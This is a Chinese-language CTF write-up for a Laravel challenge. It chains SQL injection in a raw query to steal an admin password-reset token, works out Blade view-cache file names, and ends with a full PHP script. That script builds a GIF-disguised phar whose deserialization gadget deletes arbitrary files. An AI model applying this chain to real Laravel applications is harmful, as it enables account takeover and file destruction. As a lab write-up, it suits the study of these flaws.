题目的源码很早之前便给出了,最近学习了一下laravel框架,把这个题复现一下,以下是题解。
代码审计
代码不完整,存在composer.josn
文件,composer install
安装
使用larave自带的工具,查看路由,只有admin用户才可以查看flag.
代码审计,在note控制器下存在sql注入
1 2 3 4 5 6
| public function index(Note $note) { $username = Auth::user()->name; $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'"); return view('note', compact('notes')); }
|
查看一下注册功能,发现对密码进行了加密,通过注入也不能得到原密码。
1 2 3 4 5 6 7 8
| protected function create(array $data) { return User::create([ 'name' => $data['name'], 'email' => $data['email'], 'password' => bcrypt($data['password']), ]); }
|
再次查看路由发现存在重置密码操作,路由中发现可以通过token重置密码。查看一下代码,发现使用了laravel自带的重置密码功能,随后查看laravel源码。
1 2 3 4 5 6 7 8 9 10 11
| use ResetsPasswords;
public function __construct() { $this->middleware('guest'); }
|
laravel
源码,需要email和token才可以重置密码,刚才通过查看源码看到在admin
中间件中admin
密码为`[email protected],接下来需要得到
admin的
token`。
admin中间件:
1 2 3 4 5 6 7
| public function handle($request, Closure $next) { if ($this->auth->user()->email !== '[email protected]') { return redirect(route('error')); } return $next($request); }
|
1 2 3 4 5 6
| public function showResetForm(Request $request, $token = null) { return view('auth.passwords.reset')->with( ['token' => $token, 'email' => $request->email] ); }
|
接下来找到token的位置,查看laravel的数据库迁移文件,在database下的migrations目录下发现一张表,保存了token和email信息,表名为password_resets,联想到刚才发现的sql注入漏洞,通过注入得到token。
1 2 3 4 5 6 7 8
| public function up() { Schema::create('password_resets', function (Blueprint $table) { $table->string('email')->index(); $table->string('token')->index(); $table->timestamp('created_at')->nullable(); }); }
|
这里出现了一个小问题,发现没有token,原因管理员还未发token,先登录出去,用管理员的邮箱重置一下,顺利得到token
根据路由表访问带token的连接进行重置密码操作,得到管理员账户,查看flag,发现没有flag。。。
laravel视图缓存
根据题目的提示, 存在blade模板过期的问题。
laravel
在渲染blade
模板后,会将渲染好的结果存到storage/framework/views
(默认路径,也可在配置中修改的)中,以便下次使用。因此原本的flag不会再页面显示出来,进入docker
查看一下模板缓存文件,确实存在no flag
。
文件名是一堆长长的字母和数字,在/bootstrap/cache/compile.php
下得知缓存文件的命名规则。
1 2 3 4
| public function getCompiledPath($path) { return $this->cachePath . '/' . sha1($path) . '.php'; }
|
path
为模板文件的路径,在源码中可得治路径为/resources/views/auth/flag.blade.php
,题目提示使用了nginx,可得知绝对路径为/usr/share/nginx/html/resources/views/auth/flag.blade.php
,计算一下和docker中一致。接下来需要删除过期的模板缓存。
popchain 与 phar 伪协议
再次查看题目给出的源码,在upload控制器下发现check和upload函数。
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function check(Request $request) { $path = $request->input('path', $this->path); $filename = $request->input('filename', null); if($filename){ if(!file_exists($path . $filename)){ Flash::error('磁盘文件已删除,刷新文件列表'); }else{ Flash::success('文件有效'); } } return redirect(route('files')); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function upload(UploadRequest $request) { $file = $request->file('file'); if (($file && $file->isValid())) { $allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"]; $ext = $file->getClientOriginalExtension(); if(in_array($ext, $allowed_extensions)){ $file->move($this->path, $file->getClientOriginalName()); Flash::success('上传成功'); return redirect(route('upload')); } } Flash::error('上传失败'); return redirect(route('upload')); }
|
文件路径与文件名可控,可以使用phar进行反序列化,全局查找一下unlink
或者__destroy
函数,在/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php
下发现存在删除功能的函数。
1 2 3 4 5 6
| public function __destruct() { if (file_exists($this->getPath())) { @unlink($this->getPath()); } }
|
生成文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php include('autoload.php'); $a = serialize(new Swift_ByteStream_TemporaryFileByteStream()); var_dump(unserialize($a)); var_dump($a); $a = preg_replace("/\/tmp\/FileByteStream[\w]{6}/","/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); $a = str_replace('s:25', 's:90', $a); $b = unserialize($a); $p = new Phar('./shell.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($b); $p->addFromString('test.txt','text'); $p->stopBuffering(); rename('shell.phar', 'shell.gif') ?>
|
最后通过check方法触发反序列化操作,刷新模板得到flag。